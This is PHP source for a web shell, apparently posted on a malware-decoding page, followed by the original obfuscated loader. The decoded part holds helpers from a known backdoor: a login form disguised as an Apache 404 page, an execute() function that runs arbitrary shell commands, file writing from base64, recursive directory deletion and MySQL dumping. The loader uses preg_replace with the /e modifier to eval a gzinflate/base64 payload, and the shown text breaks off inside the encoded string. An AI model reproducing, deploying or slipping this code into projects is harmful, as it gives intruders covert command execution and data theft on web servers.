    setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
    $multipage = '';
    if ($num > $perpage) {
        $page = 10;
        $offset = 5;
        $pages = @ceil($num / $perpage);
        if ($page > $pages) {
            $from = 1;
            $to = $pages;
        } else {
            $from = $curpage - $offset;
            $to = $curpage + $page - $offset - 1;
            if ($from < 1) {
                $to = $curpage + 1 - $from;
                $from = 1;
                if (($to - $from) < $page && ($to - $from) < $pages) {
                    $to = $page;
                }
            } elseif ($to > $pages) {
                $from = $curpage - $pages + $to;
                $to = $pages;
                if (($to - $from) < $page && ($to - $from) < $pages) {
                    $from = $pages - $page + 1;
                }
            }
        }
        $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
        for ($i = $from;$i <= $to;$i++) {
            $multipage.= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
        }
        $multipage.= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
        $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
    }
    return $multipage;
}
// Login page
function loginpage() {
?>
<html>
<head>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
       <BR><BR>
<div align=center >

<div>
<br /><br /><br /><br /><br />

<form method="POST" action="">
        <span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
        <input type="hidden" name="doing" value="login">
        </form>
<BR>
</head>
</html>
 
 
<?php
    exit;
}
//end loginpage()
function execute($cfe) {
    $res = '';
    if ($cfe) {
        if (function_exists('exec')) {
            @exec($cfe, $res);
            $res = join("\n", $res);
        } elseif (function_exists('shell_exec')) {
            $res = @shell_exec($cfe);
        } elseif (function_exists('system')) {
            @ob_start();
            @system($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif (function_exists('passthru')) {
            @ob_start();
            @passthru($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif (@is_resource($f = @popen($cfe, "r"))) {
            $res = '';
            while (!@feof($f)) {
                $res.= @fread($f, 1024);
            }
            @pclose($f);
        }
    }
    return $res;
}
function which($pr) {
    $path = execute("which $pr");
    return ($path ? $path : $pr);
}
function cf($fname, $text) {
    if ($fp = @fopen($fname, 'w')) {
        @fputs($fp, base64_decode($text));
        @fclose($fp);
    }
}
// Debug
function debuginfo() {
    global $starttime;
    $mtime = explode(' ', microtime());
    $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
}
// Function connect database
function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306') {
    if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
        p('<h2>Can not connect to MySQL server</h2>');
        exit;
    }
    if ($link && $dbname) {
        if (!@mysql_select_db($dbname, $link)) {
            p('<h2>Database selected has error</h2>');
            exit;
        }
    }
    if ($link && mysql_get_server_info() > '4.1') {
        if (in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
            q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
        }
    }
    return $link;
}
// Array strip
function s_array(&$array) {
    if (is_array($array)) {
        foreach ($array as $k => $v) {
            $array[$k] = s_array($v);
        }
    } else if (is_string($array)) {
        $array = stripslashes($array);
    }
    return $array;
}
// HTML Strip
function html_clean($content) {
    $content = htmlspecialchars($content);
    $content = str_replace("\n", "<br />", $content);
    $content = str_replace("  ", "&nbsp;&nbsp;", $content);
    $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
    return $content;
}
// Chmod
function getChmod($filepath) {
    return substr(base_convert(@fileperms($filepath), 10, 8), -4);
}
function getPerms($filepath) {
    $mode = @fileperms($filepath);
    if (($mode & 0xC000) === 0xC000) {
        $type = 's';
    } elseif (($mode & 0x4000) === 0x4000) {
        $type = 'd';
    } elseif (($mode & 0xA000) === 0xA000) {
        $type = 'l';
    } elseif (($mode & 0x8000) === 0x8000) {
        $type = '-';
    } elseif (($mode & 0x6000) === 0x6000) {
        $type = 'b';
    } elseif (($mode & 0x2000) === 0x2000) {
        $type = 'c';
    } elseif (($mode & 0x1000) === 0x1000) {
        $type = 'p';
    } else {
        $type = '?';
    }
    $owner['read'] = ($mode & 00400) ? 'r' : '-';
    $owner['write'] = ($mode & 00200) ? 'w' : '-';
    $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    $group['read'] = ($mode & 00040) ? 'r' : '-';
    $group['write'] = ($mode & 00020) ? 'w' : '-';
    $group['execute'] = ($mode & 00010) ? 'x' : '-';
    $world['read'] = ($mode & 00004) ? 'r' : '-';
    $world['write'] = ($mode & 00002) ? 'w' : '-';
    $world['execute'] = ($mode & 00001) ? 'x' : '-';
    if ($mode & 0x800) {
        $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
    }
    if ($mode & 0x400) {
        $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
    }
    if ($mode & 0x200) {
        $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
    }
    return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
}
function getUser($filepath) {
    if (function_exists('posix_getpwuid')) {
        $array = @posix_getpwuid(@fileowner($filepath));
        if ($array && is_array($array)) {
            return ' / <a href="#" title="User: ' . $array['name'] . '&#13&#10Passwd: ' . $array['passwd'] . '&#13&#10Uid: ' . $array['uid'] . '&#13&#10gid: ' . $array['gid'] . '&#13&#10Gecos: ' . $array['gecos'] . '&#13&#10Dir: ' . $array['dir'] . '&#13&#10Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
        }
    }
    return '';
}
// Delete dir
function deltree($deldir) {
    $mydir = @dir($deldir);
    while ($file = $mydir->read()) {
        if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
            @chmod($deldir . '/' . $file, 0777);
            deltree($deldir . '/' . $file);
        }
        if (is_file($deldir . '/' . $file)) {
            @chmod($deldir . '/' . $file, 0777);
            @unlink($deldir . '/' . $file);
        }
    }
    $mydir->close();
    @chmod($deldir, 0777);
    return @rmdir($deldir) ? 1 : 0;
}
// Background
function bg() {
    global $bgc;
    return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
}
// Get path
function getPath($scriptpath, $nowpath) {
    if ($nowpath == '.') {
        $nowpath = $scriptpath;
    }
    $nowpath = str_replace('\\', '/', $nowpath);
    $nowpath = str_replace('//', '/', $nowpath);
    if (substr($nowpath, -1) != '/') {
        $nowpath = $nowpath . '/';
    }
    return $nowpath;
}
// Get up path
function getUpPath($nowpath) {
    $pathdb = explode('/', $nowpath);
    $num = count($pathdb);
    if ($num > 2) {
        unset($pathdb[$num - 1], $pathdb[$num - 2]);
    }
    $uppath = implode('/', $pathdb) . '/';
    $uppath = str_replace('//', '/', $uppath);
    return $uppath;
}
// Config
function getcfg($varname) {
    $result = get_cfg_var($varname);
    if ($result == 0) {
        return 'No';
    } elseif ($result == 1) {
        return 'Yes';
    } else {
        return $result;
    }
}
// Function name
function getfun($funName) {
    return (false !== function_exists($funName)) ? 'Yes' : 'No';
}
function GetList($dir) {
    global $dirdata, $j, $nowpath;
    !$j && $j = 1;
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $f = str_replace('//', '/', $dir . '/' . $file);
            if ($file != '.' && $file != '..' && is_dir($f)) {
                if (is_writable($f)) {
                    $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
                    $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $dirdata[$j]['dirchmod'] = getChmod($f);
                    $dirdata[$j]['dirperm'] = getPerms($f);
                    $dirdata[$j]['dirlink'] = ue($dir);
                    $dirdata[$j]['server_link'] = $f;
                    $dirdata[$j]['client_link'] = ue($f);
                    $j++;
                }
                GetList($f);
            }
        }
        closedir($dh);
        clearstatcache();
        return $dirdata;
    } else {
        return array();
    }
}
function qy($sql) {
    //echo $sql.'<br>';
    $res = $error = '';
    if (!$res = @mysql_query($sql)) {
        return 0;
    } else if (is_resource($res)) {
        return 1;
    } else {
        return 2;
    }
    return 0;
}
function q($sql) {
    return @mysql_query($sql);
}
function fr($qy) {
    mysql_free_result($qy);
}
function sizecount($size) {
    if ($size > 1073741824) {
        $size = round($size / 1073741824 * 100) / 100 . ' G';
    } elseif ($size > 1048576) {
        $size = round($size / 1048576 * 100) / 100 . ' M';
    } elseif ($size > 1024) {
        $size = round($size / 1024 * 100) / 100 . ' K';
    } else {
        $size = $size . ' B';
    }
    return $size;
}
// Zip
class PHPZip {
    var $out = '';
    function PHPZip($dir) {
        if (@function_exists('gzcompress')) {
            $curdir = getcwd();
            if (is_array($dir)) $filelist = $dir;
            else {
                $filelist = $this->GetFileList($dir); //File list
                foreach ($filelist as $k => $v) $filelist[] = substr($v, strlen($dir) + 1);
            }
            if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir))) chdir($dir);
            else chdir($curdir);
            if (count($filelist) > 0) {
                foreach ($filelist as $filename) {
                    if (is_file($filename)) {
                        $fd = fopen($filename, 'r');
                        $content = @fread($fd, filesize($filename));
                        fclose($fd);
                        if (is_array($dir)) $filename = basename($filename);
                        $this->addFile($content, $filename);
                    }
                }
                $this->out = $this->file();
                chdir($curdir);
            }
            return 1;
        } else return 0;
    }
    // Show file list
    function GetFileList($dir) {
        static $a;
        if (is_dir($dir)) {
            if ($dh = opendir($dir)) {
                while ($file = readdir($dh)) {
                    if ($file != '.' && $file != '..') {
                        $f = $dir . '/' . $file;
                        if (is_dir($f)) $this->GetFileList($f);
                        $a[] = $f;
                    }
                }
                closedir($dh);
            }
        }
        return $a;
    }
    var $datasec = array();
    var $ctrl_dir = array();
    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset = 0;
    function unix2DosTime($unixtime = 0) {
        $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
        if ($timearray['year'] < 1980) {
            $timearray['year'] = 1980;
            $timearray['mon'] = 1;
            $timearray['mday'] = 1;
            $timearray['hours'] = 0;
            $timearray['minutes'] = 0;
            $timearray['seconds'] = 0;
        } // end if
        return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    }
    function addFile($data, $name, $time = 0) {
        $name = str_replace('\\', '/', $name);
        $dtime = dechex($this->unix2DosTime($time));
        $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
        $fr = "\x50\x4b\x03\x04";
        $fr.= "\x14\x00";
        $fr.= "\x00\x00";
        $fr.= "\x08\x00";
        $fr.= $hexdtime;
        $unc_len = strlen($data);
        $crc = crc32($data);
        $zdata = gzcompress($data);
        $c_len = strlen($zdata);
        $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
        $fr.= pack('V', $crc);
        $fr.= pack('V', $c_len);
        $fr.= pack('V', $unc_len);
        $fr.= pack('v', strlen($name));
        $fr.= pack('v', 0);
        $fr.= $name;
        $fr.= $zdata;
        $fr.= pack('V', $crc);
        $fr.= pack('V', $c_len);
        $fr.= pack('V', $unc_len);
        $this->datasec[] = $fr;
        $new_offset = strlen(implode('', $this->datasec));
        $cdrec = "\x50\x4b\x01\x02";
        $cdrec.= "\x00\x00";
        $cdrec.= "\x14\x00";
        $cdrec.= "\x00\x00";
        $cdrec.= "\x08\x00";
        $cdrec.= $hexdtime;
        $cdrec.= pack('V', $crc);
        $cdrec.= pack('V', $c_len);
        $cdrec.= pack('V', $unc_len);
        $cdrec.= pack('v', strlen($name));
        $cdrec.= pack('v', 0);
        $cdrec.= pack('v', 0);
        $cdrec.= pack('v', 0);
        $cdrec.= pack('v', 0);
        $cdrec.= pack('V', 32);
        $cdrec.= pack('V', $this->old_offset);
        $this->old_offset = $new_offset;
        $cdrec.= $name;
        $this->ctrl_dir[] = $cdrec;
    }
    function file() {
        $data = implode('', $this->datasec);
        $ctrldir = implode('', $this->ctrl_dir);
        return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    }
}
// Dump mysql
function sqldumptable($table, $fp = 0) {
    $tabledump = "DROP TABLE IF EXISTS $table;\n";
    $tabledump.= "CREATE TABLE $table (\n";
    $firstfield = 1;
    $fields = q("SHOW FIELDS FROM $table");
    while ($field = mysql_fetch_array($fields)) {
        if (!$firstfield) {
            $tabledump.= ",\n";
        } else {
            $firstfield = 0;
        }
        $tabledump.= "   $field[Field] $field[Type]";
        if (!empty($field["Default"])) {
            $tabledump.= " DEFAULT '$field[Default]'";
        }
        if ($field['Null'] != "YES") {
            $tabledump.= " NOT NULL";
        }
        if ($field['Extra'] != "") {
            $tabledump.= " $field[Extra]";
        }
    }
    fr($fields);
    $keys = q("SHOW KEYS FROM $table");
    while ($key = mysql_fetch_array($keys)) {
        $kname = $key['Key_name'];
        if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
            $kname = "UNIQUE|$kname";
        }
        if (!is_array($index[$kname])) {
            $index[$kname] = array();
        }
        $index[$kname][] = $key['Column_name'];
    }
    fr($keys);
    while (list($kname, $columns) = @each($index)) {
        $tabledump.= ",\n";
        $colnames = implode($columns, ",");
        if ($kname == "PRIMARY") {
            $tabledump.= "   PRIMARY KEY ($colnames)";
        } else {
            if (substr($kname, 0, 6) == "UNIQUE") {
                $kname = substr($kname, 7);
            }
            $tabledump.= "   KEY $kname ($colnames)";
        }
    }
    $tabledump.= "\n);\n\n";
    if ($fp) {
        fwrite($fp, $tabledump);
    } else {
        echo $tabledump;
    }
    $rows = q("SELECT * FROM $table");
    $numfields = mysql_num_fields($rows);
    while ($row = mysql_fetch_array($rows)) {
        $tabledump = "INSERT INTO $table VALUES(";
        $fieldcounter = - 1;
        $firstfield = 1;
        while (++$fieldcounter < $numfields) {
            if (!$firstfield) {
                $tabledump.= ", ";
            } else {
                $firstfield = 0;
            }
            if (!isset($row[$fieldcounter])) {
                $tabledump.= "NULL";
            } else {
                $tabledump.= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
            }
        }
        $tabledump.= ");\n";
        if ($fp) {
            fwrite($fp, $tabledump);
        } else {
            echo $tabledump;
        }
    }
    fr($rows);
    if ($fp) {
        fwrite($fp, "\n");
    } else {
        echo "\n";
    }
}
function ue($str) {
    return urlencode($str);
}
function p($str) {
    echo $str . "\n";
}
function tbhead() {
    p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot() {
    p('</table>');
}
function makehide($name, $value = '') {
    p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeinput($arg = array()) {
    $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
    $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
    !$arg['type'] && $arg['type'] = 'text';
    $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
    $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    if ($arg['newline']) {
        p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
    } else {
        p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
    }
}
function makeselect($arg = array()) {
    if ($arg['onchange']) {
        $onchange = 'onchange="' . $arg['onchange'] . '"';
    }
    $arg['title'] = $arg['title'] ? $arg['title'] : '';
    if ($arg['newline']) p('<p>');
    p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
    if (is_array($arg['option'])) {
        foreach ($arg['option'] as $key => $value) {
            if ($arg['selected'] == $key) {
                p("<option value=\"$key\" selected>$value</option>");
            } else {
                p("<option value=\"$key\">$value</option>");
            }
        }
    }
    p("</select>");
    if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
    !$arg['method'] && $arg['method'] = 'post';
    !$arg['action'] && $arg['action'] = $self;
    $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
    !$arg['name'] && $arg['name'] = 'form1';
    p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
    if ($arg['title']) {
        p('<h2>' . $arg['title'] . ' &raquo;</h2>');
    }
}
function maketext($arg = array()) {
    !$arg['cols'] && $arg['cols'] = 100;
    !$arg['rows'] && $arg['rows'] = 25;
    $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
    p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
function formfooter($name = '') {
    !$name && $name = 'submit';
    p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="Submit"></p>');
    p('</form>');
}
function formfoot() {
    p('</form>');
}
// Exit
function pr($a) {
    echo '<pre>';
    print_r($a);
    echo '</pre>';
}
?>

Did this file decode correctly?

Original Code

<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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